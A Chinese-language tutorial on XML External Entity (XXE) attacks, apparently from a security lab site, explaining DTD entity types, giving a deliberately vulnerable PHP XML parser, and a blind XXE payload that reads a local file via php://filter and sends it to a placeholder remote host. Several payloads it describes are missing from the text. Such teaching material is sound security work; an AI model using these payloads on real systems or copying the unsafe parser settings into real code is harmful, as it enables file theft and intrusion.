xml介紹
XML是一種非常流行的標記語言,在解析外部實體的過程中,XML解析器可以根據URL中指定的方案(協議)來查詢各種網絡協議和服務(DNS,FTP,HTTP,SMB等)。 外部實體對於在文檔中創建動態引用非常有用,這樣對引用資源所做的任何更改都會在文檔中自動更新。 但是,在處理外部實體時,可以針對應用程序啓動許多攻擊。 這些攻擊包括泄露本地系統文件,這些文件可能包含密碼和私人用戶數據等敏感數據,或利用各種方案的網絡訪問功能來操縱內部應用程序。 通過將這些攻擊與其他實現缺陷相結合,這些攻擊的範圍可以擴展到客戶端內存損壞,任意代碼執行,甚至服務中斷,具體取決於這些攻擊的上下文。
內部實體
XML 文檔有自己的一個格式規範,這個格式規範是由一個叫做 DTD(document type definition) 的東西控制的。
上面這個 DTD 就定義了 XML 的根元素是 message,然後跟元素下面有一些子元素,那麼 XML 到時候必須像下面這麼寫
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
其實除了在 DTD 中定義元素(其實就是對應 XML 中的標籤)以外,我們還能在 DTD 中定義實體(對應XML 標籤中的內容),畢竟 XML 中除了能標籤以外,還需要有些內容是固定的
這裏 定義元素爲 ANY 說明接受任何元素,但是定義了一個 xml 的實體(實體其實可以看成一個變量,到時候我們可以在 XML 中通過 & 符號進行引用),那麼 XML 就可以寫成這樣
示例代碼:
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
我們使用 &xxe 對 上面定義的 xxe 實體進行了引用,到時候輸出的時候 &xxe 就會被 "test" 替換。
外部實體
示例代碼:
當然,還有一種引用方式是使用 引用公用 DTD 的方法,語法如下:
<!DOCTYPE 根元素名稱 PUBLIC “DTD標識名” “公用DTD的URI”>
我們上面已經將實體分成了兩個派別(內部實體和外部外部),但是實際上從另一個角度看,實體也可以分成兩個派別(通用實體和參數實體)。
通用實體
用 &實體名;
在DTD 中定義,在 XML 文檔中引用
參數實體
(1)使用 % 實體名
(這裏面空格不能少) 在 DTD 中定義,並且只能在 DTD 中使用 %實體名;
引用(2)只有在 DTD 文件中,參數實體的聲明才能引用其他實體(3)和通用實體一樣,參數實體也可以外部引用
示例代碼:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
拋轉:參數實體在我們 Blind XXE 中起到了至關重要的作用
有回顯XXE
這個實驗的攻擊場景模擬的是在服務能接收並解析 XML 格式的輸入並且有回顯的時候,我們就能輸入我們自定義的 XML 代碼,通過引用外部實體的方法,引用服務器上面的文件。
本地服務器上放上解析 XML 的 php 代碼:
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
其中:LIBXML_NOENT: 將 XML 中的實體引用 替換 成對應的值LIBXML_DTDLOAD: 加載 DOCTYPE 中的 DTD 文件
觸發xxe
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "Hello world!" >]>
讀取本地服務器C盤的flag文件
引用外部實體讀取文件
引用方式是使用 引用公用 DTD 的方法讀取
無回顯XXE
有回顯的情況可以直接在頁面中看到Payload的執行結果或現象,無回顯的情況又稱爲blind xxe,可以使用外帶數據通道提取數據,先使用php://filter獲取目標文件的內容,然後將內容以http請求發送到接受數據的服務器。
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
test.dtd
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///c:/xxx.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://xxx?p=file;'>">
payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
我們從 payload 中能看到 連續調用了三個參數實體 %remote;%int;%send;,這就是我們的利用順序,%remote 先調用,調用後請求遠程服務器上的 test.dtd ,有點類似於將 test.dtd 包含進來,然後 %int 調用 test.dtd 中的 %file, %file 就會去獲取服務器上面的敏感文件,然後將 %file 的結果填入到 %send 以後(因爲實體的值中不能有 %, 所以將其轉成html實體編碼 %
),我們再調用 %send; 把我們的讀取到的數據發送到我們的遠程 vps 上,這樣就實現了外帶數據的效果,完美的解決了 XXE 無回顯的問題。
這樣,我們就讀到了flag文件的內容。
實驗推薦
實驗:第十四周 | blind xxe(合天網安實驗室) 點擊進入實操>>
更多靶場實驗練習、網安學習資料,請點擊這裏>>